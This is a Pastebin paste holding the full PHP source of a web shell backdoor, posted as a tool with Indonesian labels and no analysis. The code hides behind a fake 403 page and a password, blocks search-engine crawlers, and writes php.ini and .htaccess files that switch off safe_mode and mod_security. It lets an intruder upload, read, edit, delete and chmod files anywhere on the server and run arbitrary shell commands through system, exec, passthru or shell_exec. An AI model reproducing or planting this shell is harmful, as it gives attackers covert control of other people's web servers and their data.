phnxhxr

Untitled

Feb 8th, 2020
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.45 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12. $auth_pass = "a085d4f2939b199a619cca4fe116ea59"; // pass : x48x
  13. $errorforbidden = $_SERVER['REQUEST_URI'];
  14. $color = "#00ff00";
  15. $default_action = 'FilesMan';
  16. $default_use_ajax = true;
  17. $default_charset = 'UTF-8';
  18. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  19. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  20. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  21. header('HTTP/1.0 404 Not Found');
  22. exit;
  23. }
  24. }
  25.  
  26. function login_shell() {
  27. ?>
  28. <?php
  29. $errorforbidden = $_SERVER['REQUEST_URI'];
  30. $crotnya = '<center><form style="display: none;" method="post"><input type="password" name="pass"></form></center>';
  31. ?>
  32. <html><head>
  33. <title>403 Forbidden</title>
  34. </head><body>
  35. <h1>Forbidden</h1>
  36. <p>You don't have permission to access <?php print $errorforbidden; ?>
  37. on this server.</p>
  38. <p>Additionally, a 404 Not Found
  39. error was encountered while trying to use an ErrorDocument to handle the request.</p>
  40. </body></html>
  41. <?php print $crotnya; ?>
  42. <?php
  43. exit;
  44. }
  45. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  46. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  47. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  48. else
  49. login_shell();
  50. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  51. @ob_clean();
  52. $file = $_GET['file'];
  53. header('Content-Description: File Transfer');
  54. header('Content-Type: application/octet-stream');
  55. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  56. header('Expires: 0');
  57. header('Cache-Control: must-revalidate');
  58. header('Pragma: public');
  59. header('Content-Length: ' . filesize($file));
  60. readfile($file);
  61. exit;
  62. }
  63. ?>
  64. <?php
  65. if (file_exists("php.ini")){
  66. }else{
  67. $img = fopen('php.ini', 'w');
  68. $sec = "safe_mode = OFF
  69. disable_funtions = NONE";
  70. fwrite($img ,$sec);
  71. fclose($img);}
  72. if (file_exists(".htaccess")){
  73. }else{
  74. $img2 = fopen('.htaccess', 'w');
  75. $sec2 = "<IfModule mod_security.c>
  76. SecFilterEngine Off
  77. SecFilterScanPOST Off
  78. </IfModule>";
  79. fwrite($img2 ,$sec2);
  80. fclose($img2);}
  81. $inids = @ini_get("disable_functions");
  82. $liatds = (!empty($ds)) ? "<font color='purple'>$inids</font>" : "<b><font color='white'>Aman cuk :v</font></b>";
  83. if(get_magic_quotes_gpc()){
  84. foreach($_POST as $key=>$value){
  85. $_POST[$key] = stripslashes($value);
  86. }
  87. }
  88. echo '<!DOCTYPE HTML>
  89. <html>
  90. <head>
  91. <link href="" rel="stylesheet" type="text/css">
  92. <title>Crootz?</title>
  93. <style>
  94. body{
  95. font-family: "Racing Sans One", cursive;
  96. background-image: url("https://images.alphacoders.com/674/thumb-1920-674709.jpg");
  97. color:purple;
  98. background-attachment:fixed;
  99. background-repeat:no-repeat;
  100. background-position:center;
  101. background-color:transparan;
  102. -webkit-background-size: 90% 100%;
  103. }
  104. #content tr:hover{
  105. background-color: pink;
  106. text-shadow:0px 0px 10px #fff;
  107. }
  108. #content .first{
  109. background-color: pink;
  110. }
  111. table{
  112. border: 1px #000000 dotted;
  113. }
  114. a{
  115. color:white;
  116. text-decoration: none;
  117. }
  118. a:hover{
  119. color:blue;
  120. text-shadow:0px 0px 10px #ffffff;
  121. }
  122. input,select,textarea{
  123. border: 1px #000000 solid;
  124. -moz-border-radius: 5px;
  125. -webkit-border-radius:5px;
  126. border-radius:5px;
  127. }
  128. </style>
  129. </head>
  130. <body>
  131. <h1><center><font color="pink">Hii</font></center></h1>
  132. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  133. <tr><td>';
  134. echo "Disable Functions: $liatds";
  135. echo '<br><font color="purple">Path :</font> ';
  136. if(isset($_GET['path'])){
  137. $path = $_GET['path'];
  138. }else{
  139. $path = getcwd();
  140. }
  141. $path = str_replace('\\','/',$path);
  142. $paths = explode('/',$path);
  143.  
  144. foreach($paths as $id=>$pat){
  145. if($pat == '' && $id == 0){
  146. $a = true;
  147. echo '<a href="?path=/">/</a>';
  148. continue;
  149. }
  150. if($pat == '') continue;
  151. echo '<a href="?path=';
  152. for($i=0;$i<=$id;$i++){
  153. echo "$paths[$i]";
  154. if($i != $id) echo "/";
  155. }
  156. echo '">'.$pat.'</a>/';
  157. }
  158. echo '</td></tr><tr><td>';
  159. if(isset($_FILES['file'])){
  160. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  161. echo '<font color="white">Upload Berhasil</font><br />';
  162. }else{
  163. echo '<font color="purple">Upload Gagal</font><br/>';
  164. }
  165. }
  166. echo '<form enctype="multipart/form-data" method="POST">
  167. <font color="purple">File Upload :</font> <input type="file" name="file" />
  168. <input type="submit" value="upload" />
  169. </form>';
  170. echo "<form method='post'>
  171. <font color='purple'>Command :</font>
  172. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='execmd' value=' Execute '>
  173. </form>
  174. </td></tr>";
  175. if($_POST['execmd']) {
  176. echo "<center><textarea cols='60' rows='10' readonly='readonly' style='color:purple; background-color:pink;'>".exe($_POST['cmd'])."</textarea></center>";
  177. }
  178. echo "<br></td></tr>";
  179. if(isset($_GET['filesrc'])){
  180. echo "<tr><td>Current File : ";
  181. echo $_GET['filesrc'];
  182. echo '</tr></td></table><br />';
  183. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  184. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  185. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  186. if($_POST['opt'] == 'chmod'){
  187. if(isset($_POST['perm'])){
  188. if(chmod($_POST['path'],$_POST['perm'])){
  189. echo '<font color="white">Change Permission Berhasil</font><br/>';
  190. }else{
  191. echo '<font color="purple">Change Permission Gagal</font><br />';
  192. }
  193. }
  194. echo '<form method="POST">
  195. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  196. <input type="hidden" name="path" value="'.$_POST['path'].'">
  197. <input type="hidden" name="opt" value="chmod">
  198. <input type="submit" value="Go" />
  199. </form>';
  200. }elseif($_POST['opt'] == 'rename'){
  201. if(isset($_POST['newname'])){
  202. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  203. echo '<font color="white">Ganti Nama Berhasil</font><br/>';
  204. }else{
  205. echo '<font color="purple">Ganti Nama Gagal</font><br />';
  206. }
  207. $_POST['name'] = $_POST['newname'];
  208. }
  209. echo '<form method="POST">
  210. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  211. <input type="hidden" name="path" value="'.$_POST['path'].'">
  212. <input type="hidden" name="opt" value="rename">
  213. <input type="submit" value="Go" />
  214. </form>';
  215. }elseif($_POST['opt'] == 'edit'){
  216. if(isset($_POST['src'])){
  217. $fp = fopen($_POST['path'],'w');
  218. if(fwrite($fp,$_POST['src'])){
  219. echo '<font color="white">Berhasil Edit File</font><br/>';
  220. }else{
  221. echo '<font color="purple">Gagal Edit File</font><br/>';
  222. }
  223. fclose($fp);
  224. }
  225. echo '<form method="POST">
  226. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  227. <input type="hidden" name="path" value="'.$_POST['path'].'">
  228. <input type="hidden" name="opt" value="edit">
  229. <input type="submit" value="Save" />
  230. </form>';
  231. }
  232. echo '</center>';
  233. }else{
  234. echo '</table><br/><center>';
  235. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  236. if($_POST['type'] == 'dir'){
  237. if(rmdir($_POST['path'])){
  238. echo '<font color="white">Directory Terhapus</font><br/>';
  239. }else{
  240. echo '<font color="purple">Directory Gagal Terhapus </font><br/>';
  241. }
  242. }elseif($_POST['type'] == 'file'){
  243. if(unlink($_POST['path'])){
  244. echo '<font color="white">File Terhapus</font><br/>';
  245. }else{
  246. echo '<font color="purple">File Gagal Dihapus</font><br/>';
  247. }
  248. }
  249. }
  250. echo '</center>';
  251. $scandir = scandir($path);
  252. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  253. <tr class="first">
  254. <td><center>Name</peller></center></td>
  255. <td><center>Size</peller></center></td>
  256. <td><center>Permission</peller></center></td>
  257. <td><center>Modify</peller></center></td>
  258. </tr>';
  259.  
  260. foreach($scandir as $dir){
  261. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  262. echo '<tr>
  263. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  264. <td><center>--</center></td>
  265. <td><center>';
  266. if(is_writable($path.'/'.$dir)) echo '<font color="pink">';
  267. elseif(!is_readable($path.'/'.$dir)) echo '<font color="purple">';
  268. echo perms($path.'/'.$dir);
  269. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  270.  
  271. echo '</center></td>
  272. <td><center><form method="POST" action="?option&path='.$path.'">
  273. <select name="opt">
  274. <option value="">Select</option>
  275. <option value="delete">Delete</option>
  276. <option value="chmod">Chmod</option>
  277. <option value="rename">Rename</option>
  278. </select>
  279. <input type="hidden" name="type" value="dir">
  280. <input type="hidden" name="name" value="'.$dir.'">
  281. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  282. <input type="submit" value=">">
  283. </form></center></td>
  284. </tr>';
  285. }
  286. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  287. foreach($scandir as $file){
  288. if(!is_file($path.'/'.$file)) continue;
  289. $size = filesize($path.'/'.$file)/1024;
  290. $size = round($size,3);
  291. if($size >= 1024){
  292. $size = round($size/1024,2).' MB';
  293. }else{
  294. $size = $size.' KB';
  295. }
  296.  
  297. echo '<tr>
  298. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  299. <td><center>'.$size.'</center></td>
  300. <td><center>';
  301. if(is_writable($path.'/'.$file)) echo '<font color="pink">';
  302. elseif(!is_readable($path.'/'.$file)) echo '<font color="purple">';
  303. echo perms($path.'/'.$file);
  304. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  305. echo '</center></td>
  306. <td><center><form method="POST" action="?option&path='.$path.'">
  307. <select name="opt">
  308. <option value="">Select</option>
  309. <option value="delete">Delete</option>
  310. <option value="chmod">Chmod</option>
  311. <option value="rename">Rename</option>
  312. <option value="edit">Edit</option>
  313. </select>
  314. <input type="hidden" name="type" value="file">
  315. <input type="hidden" name="name" value="'.$file.'">
  316. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  317. <input type="submit" value=">">
  318. </form></center></td>
  319. </tr>';
  320. }
  321. echo '</table>
  322. </div>';
  323. }
  324. echo '<center><br/><font color="pink">Mini Shell Bapak kau</font><br>';
  325. echo "[ <a href='?path=$path&go=cabs'>LogOut</a> ]
  326. </center>
  327. </body>
  328. </html>";
  329.  
  330. echo '<form action="" method="post">';
  331. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  332. echo '<meta http-equiv="refresh" content="3" />';
  333. }
  334.  
  335. function perms($file){
  336. $perms = fileperms($file);
  337.  
  338. if (($perms & 0xC000) == 0xC000) {
  339. // Socket
  340. $info = 's';
  341. } elseif (($perms & 0xA000) == 0xA000) {
  342. // Symbolic Link
  343. $info = 'l';
  344. } elseif (($perms & 0x8000) == 0x8000) {
  345. // Regular
  346. $info = '-';
  347. } elseif (($perms & 0x6000) == 0x6000) {
  348. // Block special
  349. $info = 'b';
  350. } elseif (($perms & 0x4000) == 0x4000) {
  351. // Directory
  352. $info = 'd';
  353. } elseif (($perms & 0x2000) == 0x2000) {
  354. // Character special
  355. $info = 'c';
  356. } elseif (($perms & 0x1000) == 0x1000) {
  357. // FIFO pipe
  358. $info = 'p';
  359. } else {
  360. // Unknown
  361. $info = 'u';
  362. }
  363.  
  364. // Owner
  365. $info .= (($perms & 0x0100) ? 'r' : '-');
  366. $info .= (($perms & 0x0080) ? 'w' : '-');
  367. $info .= (($perms & 0x0040) ?
  368. (($perms & 0x0800) ? 's' : 'x' ) :
  369. (($perms & 0x0800) ? 'S' : '-'));
  370.  
  371. // Group
  372. $info .= (($perms & 0x0020) ? 'r' : '-');
  373. $info .= (($perms & 0x0010) ? 'w' : '-');
  374. $info .= (($perms & 0x0008) ?
  375. (($perms & 0x0400) ? 's' : 'x' ) :
  376. (($perms & 0x0400) ? 'S' : '-'));
  377.  
  378. // World
  379. $info .= (($perms & 0x0004) ? 'r' : '-');
  380. $info .= (($perms & 0x0002) ? 'w' : '-');
  381. $info .= (($perms & 0x0001) ?
  382. (($perms & 0x0200) ? 't' : 'x' ) :
  383. (($perms & 0x0200) ? 'T' : '-'));
  384.  
  385. return $info;
  386. }
  387. //////all functions disini tempatnya/////
  388. function exe($cmd) {
  389. if(function_exists('system')) {
  390. @ob_start();
  391. @system($cmd);
  392. $buff = @ob_get_contents();
  393. @ob_end_clean();
  394. return $buff;
  395. } elseif(function_exists('exec')) {
  396. @exec($cmd,$results);
  397. $buff = "";
  398. foreach($results as $result) {
  399. $buff .= $result;
  400. } return $buff;
  401. } elseif(function_exists('passthru')) {
  402. @ob_start();
  403. @passthru($cmd);
  404. $buff = @ob_get_contents();
  405. @ob_end_clean();
  406. return $buff;
  407. } elseif(function_exists('shell_exec')) {
  408. $buff = @shell_exec($cmd);
  409. return $buff;
  410. }
  411. }
  412. ?>
Advertisement
Add Comment
Please, Sign In to add comment